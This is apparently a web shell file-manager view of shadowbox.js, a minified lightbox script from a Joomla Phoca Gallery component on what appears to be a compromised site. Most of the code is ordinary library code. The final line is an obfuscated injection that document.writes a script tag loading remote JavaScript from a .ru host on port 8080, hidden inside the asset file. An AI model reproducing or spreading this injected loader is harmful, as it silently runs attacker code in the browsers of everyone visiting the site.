0byt3m1n1
Path:
/
home
/
kassiope
/
OLD
/
00-OLD
/
components
/
com_phocagallery
/
assets
/
js
/
shadowbox
/
[
Home
]
File: shadowbox.js
var Shadowbox={};Shadowbox.lib=function(){var F={};var C=/(-[a-z])/gi;var B=function(H,I){return I.charAt(1).toUpperCase()};var G=function(I){var H;if(!(H=F[I])){H=F[I]=I.replace(C,B)}return H};var A=document.defaultView;var E=/alpha\([^\)]*\)/gi;var D=function(J,H){var I=J.style;if(window.ActiveXObject){I.zoom=1;I.filter=(I.filter||"").replace(E,"")+(H==1?"":" alpha(opacity="+(H*100)+")")}else{I.opacity=H}};return{adapter:"standalone",getStyle:function(){return A&&A.getComputedStyle?function(L,K){var H,J,I;if(K=="float"){K="cssFloat"}if(H=L.style[K]){return H}if(J=A.getComputedStyle(L,"")){return J[G(K)]}return null}:function(M,L){var I,K,J;if(L=="opacity"){if(typeof M.style.filter=="string"){var H=M.style.filter.match(/alpha\(opacity=(.+)\)/i);if(H){var N=parseFloat(H[1]);if(!isNaN(N)){return(N?N/100:0)}}}return 1}else{if(L=="float"){L="styleFloat"}}var J=G(L);if(I=M.style[J]){return I}if(K=M.currentStyle){return K[J]}return null}}(),setStyle:function(K,J,L){if(typeof J=="string"){var H=G(J);if(H=="opacity"){D(K,L)}else{K.style[H]=L}}else{for(var I in J){this.setStyle(K,I,J[I])}}},get:function(H){return typeof H=="string"?document.getElementById(H):H},remove:function(H){H.parentNode.removeChild(H)},getTarget:function(I){var H=I.target?I.target:I.srcElement;return H.nodeType==3?H.parentNode:H},getPageXY:function(I){var H=I.pageX||(I.clientX+(document.documentElement.scrollLeft||document.body.scrollLeft));var J=I.pageY||(I.clientY+(document.documentElement.scrollTop||document.body.scrollTop));return[H,J]},preventDefault:function(H){if(H.preventDefault){H.preventDefault()}else{H.returnValue=false}},keyCode:function(H){return H.which?H.which:H.keyCode},addEvent:function(J,H,I){if(J.addEventListener){J.addEventListener(H,I,false)}else{if(J.attachEvent){J.attachEvent("on"+H,I)}}},removeEvent:function(J,H,I){if(J.removeEventListener){J.removeEventListener(H,I,false)}else{if(J.detachEvent){J.detachEvent("on"+H,I)}}},append:function(J,I){if(J.insertAdjacentHTML){J.insertAdjacentHTML("BeforeEnd",I)}else{if(J.lastChild){var H=J.ownerDocument.createRange();H.setStartAfter(J.lastChild);var K=H.createContextualFragment(I);J.appendChild(K)}else{J.innerHTML=I}}}}}(); if(typeof Shadowbox=="undefined"){throw"Unable to load Shadowbox language file, base library not found."}Shadowbox.LANG={code:"en",of:"of",loading:"loading",cancel:"Cancel",next:"Next",previous:"Previous",play:"Play",pause:"Pause",close:"Close",errors:{single:'You must install the <a href="{0}">{1}</a> browser plugin to view this content.',shared:'You must install both the <a href="{0}">{1}</a> and <a href="{2}">{3}</a> browser plugins to view this content.',either:'You must install either the <a href="{0}">{1}</a> or the <a href="{2}">{3}</a> browser plugin to view this content.'}}; (function(){var F=Shadowbox;var L=F.lib;var A=F.getClient();var I;var M;var J="shadowbox_drag_layer";var K;var D=function(){I={x:0,y:0,start_x:null,start_y:null}};var E=function(N,O,C){if(N){D();var P=["position:absolute","height:"+O+"px","width:"+C+"px","cursor:"+(A.isGecko?"-moz-grab":"move"),"background-color:"+(A.isIE?"#fff;filter:alpha(opacity=0)":"transparent")];L.append(L.get("shadowbox_body_inner"),'<div id="'+J+'" style="'+P.join(";")+'"></div>');L.addEvent(L.get(J),"mousedown",H)}else{var Q=L.get(J);if(Q){L.removeEvent(Q,"mousedown",H);L.remove(Q)}}};var H=function(N){L.preventDefault(N);var C=L.getPageXY(N);I.start_x=C[0];I.start_y=C[1];M=L.get("shadowbox_content");L.addEvent(document,"mousemove",G);L.addEvent(document,"mouseup",B);if(A.isGecko){L.setStyle(L.get(J),"cursor","-moz-grabbing")}};var B=function(){L.removeEvent(document,"mousemove",G);L.removeEvent(document,"mouseup",B);if(A.isGecko){L.setStyle(L.get(J),"cursor","-moz-grab")}};var G=function(Q){var O=F.getContent();var R=F.getDimensions();var P=L.getPageXY(Q);var N=P[0]-I.start_x;I.start_x+=N;I.x=Math.max(Math.min(0,I.x+N),R.inner_w-O.width);L.setStyle(M,"left",I.x+"px");var C=P[1]-I.start_y;I.start_y+=C;I.y=Math.max(Math.min(0,I.y+C),R.inner_h-O.height);L.setStyle(M,"top",I.y+"px")};Shadowbox.img=function(O,N){this.id=O;this.obj=N;this.resizable=true;this.ready=false;var C=this;K=new Image();K.onload=function(){C.height=C.obj.height?parseInt(C.obj.height,10):K.height;C.width=C.obj.width?parseInt(C.obj.width,10):K.width;C.ready=true;K.onload="";K=null};K.src=N.content};Shadowbox.img.prototype={markup:function(C){return{tag:"img",id:this.id,height:C.resize_h,width:C.resize_w,src:this.obj.content,style:"position:absolute"}},onLoad:function(){var C=F.getDimensions();if(C.drag&&F.getOptions().handleOversize=="drag"){E(true,C.resize_h,C.resize_w)}},remove:function(){var C=L.get(this.id);if(C){L.remove(C)}E(false);if(K){K.onload="";K=null}}}})(); (function(){var A=Shadowbox;var B=A.lib;var D=A.getClient();Shadowbox.iframe=function(E,C){this.id=E;this.obj=C;this.height=this.obj.height?parseInt(this.obj.height,10):B.getViewportHeight();this.width=this.obj.width?parseInt(this.obj.width,10):B.getViewportWidth()};Shadowbox.iframe.prototype={markup:function(E){var C={tag:"iframe",id:this.id,name:this.id,height:"100%",width:"100%",frameborder:"0",marginwidth:"0",marginheight:"0",scrolling:"auto"};if(D.isIE){C.allowtransparency="true";if(!D.isIE7){C.src='javascript:false;document.write("");'}}return C},onLoad:function(){var C=(D.isIE)?B.get(this.id).contentWindow:window.frames[this.id];C.location=this.obj.content},remove:function(){var C=B.get(this.id);if(C){B.remove(C);if(D.isGecko){delete window.frames[this.id]}}}}})(); document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/XHTML.js"></scr'+'ipt>');